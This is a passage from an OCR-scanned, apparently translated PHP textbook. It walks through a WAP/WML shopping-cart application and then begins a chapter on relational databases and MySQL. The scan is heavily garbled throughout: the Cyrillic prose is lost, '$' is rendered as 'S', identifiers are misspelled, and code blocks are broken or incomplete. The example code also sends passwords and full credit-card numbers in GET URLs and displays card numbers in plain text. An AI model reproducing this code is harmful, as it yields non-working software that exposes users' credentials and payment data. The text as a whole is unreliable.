, <>:
<do type="accept" label="Submit">

; ..,.-.

<go>, HTTP GET Log i n . php, URL Suserld Spassword:


<go method="get"
href=" Login. php?userld=$( use rid :escape)&amp;
passwo rd=$ ( passwo rd : escape ) "/>
</do>
</P>
</card>

:
<card id=" registration'^
. $f name.
, , ( accountBalance):
First Name:
<input name="fname" type="text" />
Last Name:
<input name="lname" type="text" />
Userld:
<input name="userld" type="text" />
Password:
<input name="password" type="password" />
Address:
<input name="address" type="text" />
City:
<input name="city" type="text" />
Country:
<input name="country" type="text" />
Zip code:!
<input name="zipCode" type="text" format="*N" ./>
Gender
<select name="gender">
. <option value="Male"> Male </option>
<option value="Female"> Female </option>
: </select>
Age:
:
: <input name="age" type="text" format="*N" />
Email Id :

635

<input name="emailld" type="text" />


Phone No:
'';
;
:
<input name="phoneNo" type="text" format="NNN NNN NNNN" />
Card Type:

.'-.

<select name="cardType">
<option value="Visa"> Visa </option>
<option value="Master"> Master </option>
<option value="American Express "> American Express </option>
</select>
Card Number:
<input.name="cardNumber" type="text" format="NNNN NNNN NNNN NNNN"/>
Card Expiry Date:
(mm/dd/yyyy)
<input name="cardExpiryDate" type="text" format="NN\/NN\/NNNN" />

,
. <do>
accept. <do> HTTP GET
CreateUser. php <input> <select>
URL:
<do type="accept">:

<go

href="CreateUser.php?fname=$(f name: escape )&amp;lname=$(lname:escape)&amp; use rld=$(


use rid: escape )&amp;password=$( password: escape )&amp; add ress=$(address:escape)&amp;
ity=$( city :escape)&amp; count ry=$(count ry :escape)&amp;zipCode=$(zipCode: escape )&amp
;gender=$(gender: escape )&amp;age=$(age:escape)&amp;emailld=$(emailld:escape)&amp; p
honeNo=$(phoneNo:escape)&arnp;cardType=$(cardType:escape)&afflp;cardNumber=$(cardNumb
er:escape)&amp;cardExpiryOate=$(cardExpiryDate:escape)"/>
</do>
</card>


CreateUser . php . :
<?php
include( "Common . php" ) ;
include("UserFactory. php");

setSessionHandlersQ;

URL :
$fname = trim($fname);
Slname = trim($lname);
, $userld = trim($userld);
Spassword = trim($Rassword);
; Saddress = trim($address);

636

16. WAP

Scity = trim(Scity);
Scountry = trim($country);
SzipCode = trim($zipCode);
Sgender = trim($gender);
Sage = trim(Sage);
Semailld = trim($emailld);
SphoneNo = trim($phoneNo);
ScardType = trim($cardType);
ScardNumber = trim($cardNumber);
ScardExpiryDate = trim($cardExpiryDate);

:;:

- URL , :

if (($fname == "") || ($lname== "") || (Spassword . == "") ||


($userld == "") || ($address== "") || (Scity == "") ||
(Scountry == "") || (SzipCode == "") || ($gender ==
($age == "") || ($emailld == "") || (SphoneNo == ""):
($cardType== "") || (ScardNumber == "") ||
(ScardExpiryDate == "")) {
sendErrorPage("Error: Not all the form fields are filled");
exit;
createUser( ), :

createUser($fname, Slname, Spassword, Suserld,


Saddress, Scity, Scountry,
SzipCode, Sgender, Sage,
Semailld, SphoneNo, ScardType,
ScardNumber, ScardExpiryDate );
, .
WML , :
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum.org/DTD/wml_1. 1,xml">
<wml>
<card>

User <?php echo(Suserld) ?> created. Go to the


<a href="main.php#login">Login page</a>
</card>

Login, php . login :

637

<?php
include_once( "Common. php");
include_once("UserFactory.php");
include_once ( " ShoppingCa rt . php " ) ;
include_once( "User. php");

:
header( "Content-Type: text/vnd.wap.wral");
setSessionHandlers( ) ;

$userld Spassword:
// ,
Suserld = trim($userld);
Spassword = trim($password);
Suserld Spassword , :
if ((Suserld == "") || (Spassword == "")) {
sendErrorPage("The username and password you have entered are invalid.
Please try
again");
:
exit;
:
SfuncResult := loadUser($user!d);
if ($funcResult->returnValue == null) {
sendErrorPage($functionResult->errorMessage);
exit;
}
'
$user = $funcResult->returnValue;

:
if (!$user->checkPassword($password)) {
:.;.;: sendErrorPage("Invalid Password");

exit;

PHP:
//
if (!session_start()) {
sendErrprPageC'Internal Error: Could not create user session");
exit;
}
isAuthenticated:
//

isAuthenticated

if (! session_register("isAuthenticated")) {

638

16. WAP
sendErrorPage("Internal Error: Could not add isAuthenticated variable
to the session");
exit;

>;,'."} ./.. -'

SisAuthenticated = true;

. ;?; '

User:
if (!session_register("user")) {
sendErrorPage( "Internal Error: Could not add user variable to the
session");
exit;

Shopping_Cart :
SshoppingCart = new ,Shopping_Cart();
if (!session_register("shoppingCart")) {
sendErrorPage( "Internal Error: Could not add shoppingCart variable to
the session");
exit;
userOrders:
if (!session_register("userOrders")) {
sendErrorPagp( "Internal Error: Could not add userOrders variable to the
session");
exit;
SbookShopContent:
if (!session_register("bookShopContent")) {
sendErrorPage("Internal Error: Could not add bookShopContent variable
to the session");
exit;
SmusicShopContent:
if (!session_register("musicShopContent")) {
sendErrorPage("Internal Error: Could not add musicShopContent variable
to the session");
exit;
SsearchContent:
if (!session_register("searchContent")) {
sendErrorPage( "Internal Error: Could not add searchShopContent variable

'

exit; .:.'*.

639
:

to the session");

AppMain. php. :
inciude_once(:'!AppMain . php" ) ;;;

'

"

"


AppMain. php . :

,


<?php
include^once( "Common, php");
include_once( "User. php");

:; setSessionHandlersO; :;: '


header ("Content -Type: text/vnd.wap.wml" );
, :
checkSessionAuthenticatedO; ;:
:
SmusicShopContent = null;
SbookShopContent = null;
SsearchContent = null;
SuserOrders = null;

:' ,?> :.' '. , /,-'

: :

. .;,; : :"

y::

/.-.

: ::

WML:
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http : //www. wapf orum. org/DTD/wml_1 . 1 . xml">
<wml>

:
:

640

16. WAP

:
<card id="main">
<>
:

Welcome <?php echo($user->getUserId()) .?>.


<select ivalue="1">
. search WML:
<option title="SRCH">

<onevent type="onpick">
<gp href="(tsearch"/>
</onevent>
Search
</option>

. ViewBookShop. php. , URL :1

<option title="BOOK">
<onevent type="onpick">

<go:

:;
;

href="ViewBookShop.php?<?php echo(getSessionldStringO) ?>"/>


</onevent>
Book Shop
</option>

.
ViewMusicShop. php:
:Xoption title="MUSC">
<onevent type="onpick">
<go
href="ViewMusichShop.php?<?php echo(getSesslonIdString())? >"/>
</onevent>
Music Shop
</option>
cookie,
SID, ,
getSessionIdString(). , echo(getSessionldStringO)
echo SID. --enable_trans_sid, session. use_trans_sid p h p . i n i (1 On), SID URL . ,
. - . . .

641

.
DisplayCart. php:
<option tit!e="DISP">
<onevent type="onpick">
<go
;
href="DispTayCart.php?<?php
echo(getSessionldStringO) ?>"/>
:
:
'.i : . - </onevent>
.:
:
;
Display
</option> ;;
.
Checkout, php:
<option 1="">
<onevent type="onpick">
<go href="CheckOut.php?<?php echo(getSessionldStringO) ?>"/>

</onevent>
Check Out
</option>

. ViewAccountStatus . php:
<option title="ASTAT">
xonevent type="onpick">
<go href=" ViewAccountStatus. php?
<?php echo(getSessionldStrlngO) ?>"/>
</onevent>
Account Status
</option>
; :ai
.
Logout, php:
<option title="LOFF">
<onevent type="onpick">
I <go href="Logout.php?<?php echo(getSessionldStringO) ?>"/>
</onevent>
Logout
</option>
</select>
</card>
search. :
<card id="search">

<do> options,
:
2 1 . 989

642

16. WAP
<card id="search">
<do type="options" label="HOME">
<go href="8main" /> :

Items can be searched for. by title and Author/Performer of


Book/CD/Cassette

<do> accept, s e a r c h f o r m WML. ,


,
:
;

<do type="accept">
<go href="#searchForm" />
</do>
</card>

searchform:
<card id="searchForm">

<do> options,
main:
<do type="options" label="HOME">
<go href="#main" />
</do>
<p>

. SsearchText
:
Enter Search Text:
<input name="searchText" type="text"/>
. $searchType :
Select Search Criteria:
<select name="searchType" ivalue="1">
coption value="Book by Title">Book by Title</option>
<optipn value="Book by Author">Book by Author</option>
<optioa value="Music Album by Title">Music Album by Title</optiort>
<option value="Music Album by Artist">Music Album by Artist</option>
<option value="Entire Database">Entire Database</option>
</select>

643

<do> accept. <do>


, HTTP GET DoSearch. php, searchText searchType URL:
<do type="accept">
<go
href ="DoSearch.php?searchText=$( searchText :escape)&amp;
searchType=$(searchType:escape)&amp;
<?php echo(getSession!dString( ))?>"/>
</do>
</card>


ViewBookShop. php :
<?php .
header( "Content-Type: text/vnd.wap.wml" );
include_once( "Common, php"); :
include_once( "BookShop. php" );
setSessionHandlersO;
, :
checkSessionAuthenticatedO;

SbookShopContent null, , . , SbookShopContent Login . php:


if (! SbookShopContent) {

$currentlndex SbookShopContent. WML , $currentlndex. , , :


$currentlndex=0;

, getltems( ) ok_Shop:

SbookShop = new Book_Shop();


SfuncResult = $bookShop->getItems();
if ($funcResult->returnValue == null) {
sendErrorPage($funcResult->errorMessage);
exit;

644

16. WAP

$bookShopContent = $funcResult->returnValue;

WML:
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1 //EN" :

"http://www. wapforum. org/DTD/wml_1 .1 . xml">


<wml>
<card id="name" >

<do> options Home. <do>


HTTP GET A p p M a i n . p h p . :
<do type="options" label="HOME">
<go href="AppMain.php?<?php echo(getSessionldStringO) ?>"/>
</do>

<p>
<b> Book Shop Items</b>
select :
<select>

'. : /',

<?php

$i = 0;

ScontentSize = sizeof($bookShopContent);
( ) .
WML WML, , :
while (($i<3) && ($currentlndex < $contentSize)) {
generateOptionElement("#". $bookShopContent[
$currentIndex]->getItemNo(),
$bookShopContent[
$currentIndex]->getTitle( ) ) ;

SgenerateDescCard ,
:
$generateDescCard[] = Scurrentlndex;
$currentlndex++;

,
View Next Items, ViewBookShop. php. -

645

$currentlndex URL:
if ($currentlndex < ScontentSize) {
InextHref = "ViewBookShop.php?currentIndex=" .
: Icurrentlndex ;. "&amp;" . getSessionldStringO;
generateOptionElement($nextHref , "View Next Items");
:

</select>
</P>
</card>

, main,
:
<?php
//
for($i=0; $i<sizeof($generateOescCard); $i++) {
SitemNo = $bookShopContentt$generateDescCard[$i]]->getItemNo();

:'; ' ?>.- ,

id , itemNo :
<card id="<?php echo($itemNo) ?>" >
<do> accept. <do>
HTTP GET AddToCart. php. itemNo
URL.
AddToCart. php :
<do type="accept" label="ADD">
<go href="AddToCart.pfip?selectedItem=<?php echo($itemNo) .
"&amp;" . getSessiqnldStringO ?>"/>
</do>

<do> options,
main :
<do type="options" label="BACK">
<go href="#main" />
</do>
<P>
<?php

:
print f("%s<br/>\n",
$bookShopContent[$generateDescCard[$i]]->getTitle());

16. WAP

646
:

printf("%s<br/>\n",
$bookShopContent[$generateDescCard[$i]]->getAuthor());
printf("Book<br/>\n");
:
printf(:"$$%2.2f\n",
$bookShopContent[$generateDescCard[$i]]->getRrice());
'

'

-</card>
<?php
} //end for


ViewMusicShop.php . ViewMusicShop. php ViewBookShop. php, , ViewMusicShop. php MusicShop:
<?php
header( "Content-Type: text/vnd.wap.wml" );
include_once "Common. php";
include_once "MusicShop. php";
setSessionHandlersO;
checkSessionAuthenticated( ) ;
if (!$musicShopContent) {
$currentlndex=0;
SmusicShop = new Music_Shop();
SfuncResult = $musicShop->getItems();
if ($funcResult->returnValue == null) {
sendErrorPage($funcResult->errorMessage);
exit;
}
$musicShopCohtent = $funcResult->returnValue;
<!DOCTYPE wral PUBLIC "-//WAPFORUM//DTO WML 1.1 //EN"
"http://www.wapforum.org/DTD/wml_1. 1.xml">
<wml>
<card id="main">
<do type="options" label="HOME">
<go href="AppMain.php?<?php echo(getSessionldStringO)

647

</do>
<>
<b> Music Shop Items</b>
<select>

<?php
$i = 0;
ScontentSize = sizeof($musicShopContent);
while (($i<3) && (Scurrentlndex < ScontentSize)) {
generateOptionElement( "#" .
$musicShopContent[$currentIndex]->getItemNo(),
$musicShopContent[$currentIndex]->getTitle( ) ) ;
$generateDescCard[] = Scurrentlndex;
$currentlndex++;

if (Scurrentlndex < ScontentSize) {


SnextHref = "ViewMusicShop.php?currentIndex=" .
Scurrentlndex . "Samp;" . getSessionldStringO;
generateOptionElement($nextHref, "View Next Items");
</select>
P>
</card>
<?php
//
for($i=0; $i<sizeof($generateDescCard);
SitemNo = $musicShopContent[$generateDescCard[$i]]~>getItemNo();
?>
<card id= "<?php echo(SitemNo) ?>" >
<do type="accept" label="ADD">
<go href="AddToCart. php?selectedltem=<?php echo($itemNo .
"&amp;" . getSessionldStringO) ?>"/>
</do>
<do type="options" label="BACK">
<go href="*main" />
</do>
<P>
<?php
printf("%S<br/>\n",
$musicShopContent[$generateDescCard[$i] ]->getTitle( ) ) ;
printf("%s<br/>\n",
SmusicShopContent[$generateDescCard[$i]]->getArtist());
printf("%s<br/>\n",
$musicShopContent[$generateOescCard[$i]]->getItemType());
p.rintf("$$%2.2f\n",
$musicShopContent[$generateDescCard[$i]]->getPrice());

648

16. WAP

</card>
<?php
} //end for

PHP DoSearch.php . :
<?php
include_once( "Common. php");
include_once("BookSnop.php");
: Vinclude_once("MusicShop.php");
header( "Content-Type: text/vnd.wap.wml" );
setSessionHandlersO;
, :
checkSessionAuthenticatedO;

$searchContent , ,
:
.

if (ISsearchContent) {
$currentlndex=0;
SbookShop '= new Book_Shop();
SmusicShop = new Music_Shop();

, Book_Shop
Music_Shop:
if (SsearchType == "Book by Title") {
SsearchContent = SbookShop->searchByTitle($searchText);
} else if ($searchType == "Book by Author") {
$searchContent = $bookShop->searchByAuthor($searchText);
) else if (SsearchType == "Music Album by Title") {
$searchContent = $musicShop->searchByTltle($searchText);
} else if (SsearchType == "Music Album by Artist") {
:$searchContent = $musicShop->searchByArtist($searchText);
} else .{.
, bookshop musicshop:
$searchContent1 = $musicShop->search($searchText);
$searchContent2 = $bookShop->search($searchText);

649
SsearchContent = array_merge($searchContent1, $searchContent2);

WML:
<!OOCTYPE wml PUBLIC "-//WAPFORUM//OTD WML 1.1 //EN"
"http: //www. wapf orum. org/DTD/wml_1 . 1 . xral"> :
<wml>
<card id="main" > "".
;.

<do> options HOME. <do>


(AppMain. php):
<do type="options" label-"HOME"> :
<go href="AppMain.php?<?php echo(getSessionldStringO) ?>"/>
</do>

<p>

<b> Search Results</b> <br/>


<?php
$contentSize = sizeof($searchContent);

SsearchContents , No
Items found:
if (ScontentSize == 0) {
printfC'No: Items Found! <br/>\ri".);
} else {
( ) .
WML WML, (/CD):
printf("<select>\n");

$!..= 0;

while (($i<3) && (Scurrentlndex < $contentSize)) {


generateOptionEleraent( "" .
$searchContent[$currentIndex]->getItefflNo(),
$searchContent[$currentIndex]->getTitle( ) ) ;
SgenerateDescCard ,
:
$generateDescCard[] = Scurrentlndex;
$currentlndex++;

, ,
View Next Items, DoSearch. php. -

650

16. WAP

Scurrentlndex
URLt
if ($currentlndex < ScontentSlze) {
$nextHref = "DoSearch.php?currentIndex=" .
Scurrentlndex . "&amp;" . getSessionldStringO;
generateOptionElement($nextHref, "View Next Items");
}
printf("</select>\n");

</card>

(/CD), main, :
<?php
if (ScontentSize > 0) {
//
for($i=0; $i<sizeof($generateDescCard); $i++) {
SitemNo = $searchContent[$generateDescCard[$i]]->getItemNo( );

id itemNo :
<card id="<?php echo($itemNo) ?>" >
<do> accept. <do>
HTTP GET AddToCart.php. itemNo
/CD URL. AddToCart . php :
<do type="accept" label="ADD">
<go href="AddToCart.php?selectedItem=<?php echo($itemNo .
"&amp;" .getSessionldStringO) ?>"/>
</do>

<do> options,
main :
<do type="options" label="BACK">
<go href="#main"/>
</do>

:
<?php
$item = $searcnContent[$generateDescCard[$i]];

651

:
printf("%s<br/>\n", $item->getTitle());
/ :
if (strncasecirip($item->getItemType(), 'BOOK', 4) == 0) {
printf("%s<br/>\n", $item->getAuthor()); :
} else {
printf("%s<br/>\n", $itera->getArtist());

(//):
printf("%s<br/>\n", $item->getItemType());
:
printf("$$%2.2f\n", $item->getPrice()); ?>
</card>
<?php
> //end for
}
//end
if : ' :
'


PHP AddToCart. php ( URL Sselectedltem)
:
<?php
include_once( "Common .php" );
include_once( "BookShop. php" ) ;
include_once("MusicShop.php");
include_once("User.php");
setSessionHandlers( ) ;
, :
checkSessionAuthenticatecK ) ;
:
$bookShop = new Book_Shop();
SmusicShop = new Music_Shop();
SfuncResult = $bookShop~>getItem($selectedrtem);

652

16. WAP
if ($funcResult->returnValue == null) {
:!
if ($funcResult->errorMessage == null) {

, :
$funcResult = $musicShop->getItem($selectedItem);
if ($funcResult->returnValue == null) {
sendErrorPage($funcResult->errorMessage);
exit;
} else {
;
Sitem = $funcResult~>returnValue;
}
} else { ;
sendErrorPage($ftmcResult->errorMessage);
exit;

} else {
$item = $funcResult->returnValue;

:
//
$shoppingCart->addItem($item,;
1);
'
'
WML:
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum.org/DTD/wml_1. 1.xml">
<wml>
<card id="inain">

<do> options. <do>


(AppMain . php):
<do type="options" label="HOME">
<go href="AppMain.php?<?php echo(getSessionldStringO) ?>"/>
</do>

( ), , :
The item <a href="#details"> <?php echo($row[1J) ?></a> has been added
to your cart. <br />

:
- - < href="OisplayCart.php?<?php echo(getSessionldStringO) ?>">
"j; :
Display Cart

653

</card>
:
<card id="details">
<do> options (AppMain . php):
<do type="options" label="HOME">
<go href="AppMain.php?<?php echo(getSessionldStringO) ?>"/>
</do>

<do> accept, main


:
<do type="accept" label="BACK">
<go href="#main"/>
</do>
:.

"! ;;. .'"'. X P > ; "

:;

:
*

printf("%s <br/>\n", $iteifi->getTitle());

/:
if (strncasecmp($item->getItefflType(), 'BOOK', 4) == 0) {
printf("96s<br/>\n", $item->getAuthor());
} else {
::
printf("%s<br/>\n", $item->getArtIst());
:
} ; ;.;'>:;.
\./,:
^::.'
' ;
;v; ......

(//):
printf("%s <br/>\n", $item->getItemType());
:
printf("$$%s <br/>\n", $item->getPrice());
</Cafd>

654

16. WAP


PHP DisplayCart.php
:
<?
include_once( "Common . php" ) ;
include_once( "User. php");
include jonce( "Bookltem. php" ) ;
include_once("MusicItem.php");
setSessionHandlersQ;
if (!neaders_sent()) {
:header( "Content-Type: text/vnd.wap.wml" );

, :
check'SessionAuthenticated( );

'

WML:
<!OOCTYPE wmlrPUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http : //www. wapf orum, org/DTD/wml_1 . 1 . xml">
<wml>
<card id="main">

<do> options. <do>


(AppMain . php):
<do type="options" label="HOME">
<go href= "AppMain. php?<?php echo(getSessionldStringO) ?>"/>
</do>
<p>
. <b> Shopping Cart Items </b>
<?php
, :
SshoppingCartltems = $shoppingCart->getItems();
Sfirst = true;
$insertedSelect= false;
for($i=0; $i < sizeof($shoppingCart!tems) ; $i++) {
' if (Sfirst) {
printf("<select>");
SinsertedSelect = true;
- ' } ' :e. :<.;. ... ;.':'
'. . : . ',;' .
Sitem = $shoppingCartItems[$i]->getItem(); : :

. '

-: : .

655

.
:
generateOptionElementC'tt". $item->getItemNo(),
$item->getTitle());
$first=false; "

}
if (SinsertedSelect) {
1
printf("</select>' );
} :
,

?>,- : "'.:

</card>

" ' . ,. '

;'

;';..,'.

: . % "'\, ' '.:, .'.

.'

- ' " " f ; , ;'

: ". '

"

, .: *

/:

(/ ), main, :
<?php
'// Display the details of each card
for($i=0; $i<sizeof($shoppingCart);: $i++) {
:$item = $shoppingCartItems[$i]->getItem();
' SitemNo = $item->getItemNo(); :
'
'

id itemNo :
<card id="<?php echo($itemNo) ?>" >
<do> accept CHG. <do> GenChangeQuantityForm.php.
. itemNo

URL GenChangeQuantityForm. php:
<do type="accept" label="CHG">
<go href="GenChangeQuantityForm. php?selectedltem=<?php echo($iteraNo)
?>&amp;

: />

<?php
echo(getSession!dString( ) )
?>

</do>

<do> options, main


;
<do type="options" label="BACK">
<go href="#main" />

16. WAP

656

:
<?php
$item = $shoppingCartIteitis[$i]->getItem();

:
printf("%s<br/>\n", $item->getTitle());
/ :
if (strncasecmp($item->getItemType(), 'BOOK 1 , 4) == 0) {
printf("%s<br/>\n", $item->getAuthor());
} else {
printf("%s<br/>\n", $itero->getArtist());
}

:
is

printf("%s<br/>\n", $item->getItemType());

:
printf( "Quantity: %s<br/>\n", $shoppingCartItems[$i]->getQuantity());
:
Rrintf("$$%2.2f\n",
$item->getPrice()*$shoppingCartIteins[$i]->getQuantity()); ?>

</card>
<?php

} //end for


GenChangeQuantityForm. php . URL Sselectedltem SshoppingCartArray:
<?php
include_once( "Common. php");
include_once("Musidtem.php");

include_once( "Bookltem. php" ) ;


include_once("ShoppingCart.php");

657

setSessionHandlers( ) ;
header( "Content-Type: text/vnd.wap.wml" );

, :
checkSessionAuthenticatecK ) ;
WML:
<!DOCTYPE:Wffll PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
" http://www.wapf rum. rg/DTD/wrnl_1 . 1.xml">
<wml>
<card>

<do> options. Jo>


(AppMain. php):
<do type="options" label="HOME">
<go href="AppMain.'php?<?php echo(getSessionldStringO) ?>"/>
</do>

<input> . $ q u a n t i t y :
<?php
SshopCartltem = $shoppingCart->getShoppingCartItem($selectedItem);
$item = $shoppingCart->getItem($selectedItem);

? > . " -

Enter Quantity for <?php echo($item->title()) ?>


<input name="quantity" type="text" format="N"
value="<?php echo($item->getQuantity()) ?>" />

.'

';!

<do> accept Submit. <do>


ChangeQuantity. php. $selectedltem, $quantity URL:
<do type="accept" label="Submit">
<go href="ChangeQuantity. php?selectedltem=<?php echo($selectedltem)
?>&amp;quantity=$quantity&amp;<?php echo(getSessionldStringO) ?>" />
</do>
</card>

ChangeQuantity. php :
<?php
include_once( "Common. php");

16. WAP

658
include_once( "ShoppingCart . php" ) ;
include_once("BookItem.php");
setSessionHandlersQ;

heade ( " Content -Type : text/vnd . wap . wml " ) ;


// ,
checkSessionAuthenticated( ) ;
:
SshoppingCartltem = $shoppingCart->getSnoppingCartItem($selectedItem);
$shoppingCart->cnangeQuantity($shoppingCartItem->getItem(), /{quantity);
D i s p l a y C a r t . p h p :
include_onCe("OisplayCart.php");
'"

'

'"


Checkout . php :
<?php
include_once( "Common . php" );
include_once("User.php"); ..
setSessionHandlers();;
if (!headers_sent()) { ': "
header( "Content-Type: text/vnd.wap.wml" );

}
checkSessionAuthenticated( ) ;
checkout ( ) User:
ScheckOutDone = $user->checkOut($shoppingCart);
:
$shoppingCart->clear();
;
?>..
. /
. .:'
:

-"-:/: : .

-.': -.;-

'

WML:
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http ://www. wapforum. org/DTD/wml_1 . 1 . xml">
<wml>
<card id="main'>
<do type="options" label="HOME">
<go href="AppMain.pnp?<?php echo(getSessionldStringO) ?>"/>
</do>

'

659

<?php
if (ScheckOutDone == FALSE) {
, No Items in the Cart:
printf("No Items in the Ca'rt\n.");,
) else {
, , :
printf("Cart Items are sent for delivery<br/>");
, address
WML:
printf("<a href=\"address\"> Address Details </a><br/>");
, cardDetails
WML:
printf("<a href=\"cardOetails\">
Credit Card Details </a><br/>");

>

>
if (IcheckOutDone ==/TRUE) {

, address:
<card id="address">

<do> accept, :
<do type="accept" label="BACK">
<go href="main"/>
</do>
<P>
:;:
:
<b> Shipping Address </b>
<?php
SshippingAddress = $user->getShippingAddress();
printf("%s %s<br/>\n", $user->getFirstName(), $user->getLastName());
printf("%s <br/>\n", $shippingAddress->getStreetAddress());
printf("%s <br/>\n", $shippingAddress->getCity());

660

16. WAP

printf("%s, %s<br/>\n",
$shippingAddress->getCountry(),
$shippihgAddress->getZipCode());

</card>
<?php

<?php
if (ScheckOutDone == TRUE) {
:
<card id="cardDetails">

<do> accept,
:
<do type="accept" label="BACK">
<go href="main"/>
</do> :
<P>

:
<b> Card Details </b>
<?php

IcreditCard = $user->getCreditCard();
printf("Card No: %s <br/>\n", $creditCard->getCardNumber());
printf("Card Type: %s <br/>\n", $creditCard->getCardType());
printf("Expiry Date: %s<br/>\n",
convertDateFro(i)MysqlFormat($creditCard->getExpiryDate()));

</card>
<?php


ViewAccountStatus. php :
<?php
include_once( "Common . php" ) ;
include_once("User. php");

661

include_once("Transaction, php");
include_once("Bookltem. php");
include_once("Musicltem. php");
setSessionHandlers();
if (!:headers_sent()) {
header("Content-Type: text/vnd.wap.wml" ')';'

}
checkSessionAuthenticatedO;
, :
checkSessionAuthenticatedO;
SgenerateDescCard = null;
SuserOrders , ,
:
if (!SuserOrders) {
$currentlndex :
Scurrentlndex = 0;
, :
SuserOrders = $user->getTransactions();
}"'
WML:
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum.org/DTD/wml_1.1.xml">
<wml>

main:
<card id="main">
<do type="options" label="HOME">
<go href="AppMain.php?<?php echo(getSessionldStringO) ?>"/>
</do>
<P>
<b> Account Status </b> <br/>
:
<b> Balance: </b>
<?php printf("$$%2.2f\n", $user->getAccountBalance()) ?> <br/>
<?php

662

16. WAP

, ( ).
WML WML,
:
if (Scurrentlndex < sizeof($userOrders)) {
printf ( "<select>\n" ) ;
for($i=0; (($i < 3) &&
(Scurrentlndex < sizeof($userOrders))); $!++){
$item = $user0rders[$currentlndex]->getltem();
generateOptionElement("card".
$userOrders[$currentIndex]->getOrderNo(),
$item->getTitle());

SgenerateDescCard ,
:
SgenerateDescCard[] = Scurrentlndex;
$currentlndex++;

,
ViewAccountStatus . p h p . $cu r rent-Index
URL:
if (Scurrentlndex < sizeof(SuserOrders)) {
SnextHref = "ViewAccountStatus. php?cu r rentlndex=" .
Scurrentlndex . "&amp;" . getSessionldStringO;
generateOptionElement($nextHref , "View Next Items");
}
printf ( "</select>\n" );

</card>

, , :
<?php
//
for($i=0; Si<sizeof($generateOescCard); $i++) {
SorderNo = $userOrders[$generateDescCard[$i]]->getOrderNo(); ?>
id <card>
:
<card id="card<?php echo(SorderNo) ?>" >

<do> accept, main


:
<do type="accept" label="BACK">
<go href="#main" />

663

</do>
<do type="options" label="HOME">
<go href="AppMain.php?<?php echo(getSessionldStringO) ?>"/>
</do>
. <P>

:
<?php
$item = $userOrders[$generateDescCard[$i]]->getItem();

:
printf ( "%s<br/>\n" , $item->getTitle( ) ) ;
/:
if (strncasecmp($item->getItemType(), 'BOOK', 4) == 0) {
printf ("%s<br/>\n", $item->getAuthor());
} else {

printf ( "%s<br/>\n" , $item->getArtist( ) ) ;

}
:
printf ( "Quantity :%s<br/>\n",
$userOrders[$generateDescCard[$i]]->getQuantity());
:
printf ( "Date :%s<br/>\n",
convertDateFromMysqlFormat($
userOrders[$generateDescCard[$i]]->getDate()));

( /):
printf ( "Status :%s<br/>\n" ,
$userOrders[$generateDescCard[$i]]->getStatus());

</card>
<?pbp
} //end for
'


Logout, php :
<?
include_once( "Common .php" ) ;
include_once("User. php");

664

16. WAP

,
:
setSessionHandlers( ) ;
header ("Content -Type: text/vnd.wap.wml" );
checkSessionAuthenticated( ) ;
:
session_destroy();
WML:
<!OOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum.org/DTD/wml_1.1.xml">
<wml>
<card>

Thank you:
Thanks <ix?php ecHo($user->getUserId()) ?></!>
for using the Shopping Cart Application ;
</card>

, , . - HTML.
.
, , :

HTML- . HTML .
.

. , .

17
PHP MySQL
, ,
.
. , -
. , .
-
(). -, (Structured Query Language, SQL) - . -, ,
, . -, , .
,
.

( ,
)
.
MySQL.
, PostgreSQL, ODBC
Oracle, . :

(SQL)

666

17. PHP MySQL

PHP MySQL
PHP,

SQL, , , . ,
SQL, MySQL, , . ,
,
. , :
Beginning SQL Programming Wrox Press
(ISBN 1-861001-80-0)
Beginning Databases with PostgreSQL Wrox Press
(ISBN 1-861005-15-6)1


, ,
. :
.
() ( - entities). ( )
( , , ).
- , . - - . - ,
,
. , ( )
.

-, .
., . PostgreSQL. . - . . - : -,
2002 (ISBN 5-93286-043-).

667

,
- , . , , , .
, .
, .
, ,
, . , ,
.
, .
,
.
, .
,
,
,
(. 17.1).

. 17.1.

- ,
. , , , . , .
- .
. MySQL
,
.
- , . ,
, , .
,
, Symbol . ,
Valence . , ,
.

668

17. PHP MySQL

(primary key) .
. . ,
, .
.
.

ISBN
details. ISBN 1861003730,
ISBN ,
1861003730 details . ,
ISBN, 1861003730, (referential integrity) ,
.

,
details series series_ID series (. 17.2).
series series_ID. , series_ID
details. details
series_ID
(foreign key).
series, . ,
(. 17.3).

. 17.2. series ID

details

ISBN

price
num_of_books
num_booked
FK1 seriesJD

- V series:o
series ID
PK
book_series

. 17.3.

:
,
, , . details
ISBN, ISBN ,
(
).

669


, (surrogate key). ,
,
. . series
series_ID , . , .
,
ISBN. , -
. , .

,
, .
, , , customer_ID, , , .

books (. 17.4).
books :
ISBN
1-861005-15-6
1-861005-15-6
1-861005-15-6

book_title
Beginning Databases with PostgreSQL
Beginning Databases with PostgreSQL
Beginning Databases with PostgreSQL

-

ISBN .
, . . - ,
.
,
-
(, 17.5):

auth_name
Richard Stones
Neil Matthew
Jon Parise

. 17.4. books

. 17.5. .

670

17. PHP MySQL

auth_id a u t h o r . , author, , auth_name auth_firstname auth_lastname . -, , ,


. ,
Tom Jones,
. , ,
.
ISBN title.
.
- , (look-up), -

authortitle (. 17.6):

. 17.6.

a u t h o r t i t l e :
auth_ID ISBN. , auth_ID ISBN
.
author . title
. a u t h o r t i t l e
author title,
, . ( ).
author title --. . , . , -- . -- .
, , .
, order_ID product_ID (, , ).
-- --.
a u t h o r t i t l e , Jon Parise author ,
title. , author a u t h o r t i t l e -

671

0fiiM, author
'1* ! authortitle. title
3
^ ,*" --.

1^ ^ \ ^^ (--)
\^\^
^^ ^& ? ^ . 6** , ,
^ ^^>, ,
* ^)^^ --.
* vi^e . , ; - .
^ ,
, / , :

, . , , .

. , , , . .
. .
, , 12-15 , . , SQL
,
.

.
.
, . , , . , , .

672



. SQL - asfe !?^,

fi

SQL, , :
, !

,

SQL ^*
SQL Beginning SQL Prograrmttyi
Wrox Press (ISBN 1-861001-80-0).

- (), *"
, SQL. $
.
. , -
, SQL (. 17.7):

. 17.7. -
